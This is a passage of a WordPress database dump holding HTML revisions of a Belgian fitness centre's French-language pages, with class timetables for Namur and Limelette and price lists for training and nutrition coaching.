rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:55:15', '2013-10-05 08:55:15', '', 11, 'http://www.crosstrainingcenter.be/11-revision-125/', 0, 'revision', '', 0),
(356, 1, '2013-10-05 08:55:37', '2013-10-05 08:55:37', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:55:37', '2013-10-05 08:55:37', '', 11, 'http://www.crosstrainingcenter.be/11-revision-126/', 0, 'revision', '', 0),
(362, 1, '2013-11-04 17:20:34', '2013-11-04 17:20:34', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-04 17:20:34', '2013-11-04 17:20:34', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(363, 1, '2013-11-04 17:21:08', '2013-11-04 17:21:08', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-494\&quot; alt=\&quot;nouvelles seances CT\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot; width=\&quot;900\&quot; height=\&quot;635\&quot; /&gt;&lt;/a&gt;\r\n\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'publish', 'closed', 'open', '', 'les-seances-namur', '', '', '2015-09-02 17:07:48', '2015-09-02 17:07:48', '', 0, 'http://www.crosstrainingcenter.be/?page_id=363', 0, 'page', '', 0),
(493, 3, '2015-09-02 16:58:59', '2015-09-02 16:58:59', '&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;img class=\&quot; wp-image-491 aligncenter\&quot; alt=\&quot;Capture d’écran 2015-09-02 à 18.56.23\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/Capture-d’écran-2015-09-02-à-18.56.23-300x211.png\&quot; width=\&quot;900\&quot; height=\&quot;633\&quot; /&gt;&lt;/p&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-09-02 16:58:59', '2015-09-02 16:58:59', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(496, 3, '2015-09-02 17:06:42', '2015-09-02 17:06:42', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-494\&quot; alt=\&quot;nouvelles seances CT\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot; width=\&quot;900\&quot; height=\&quot;635\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-09-02 17:06:42', '2015-09-02 17:06:42', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(364, 1, '2013-11-04 17:21:08', '2013-11-04 17:21:08', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td 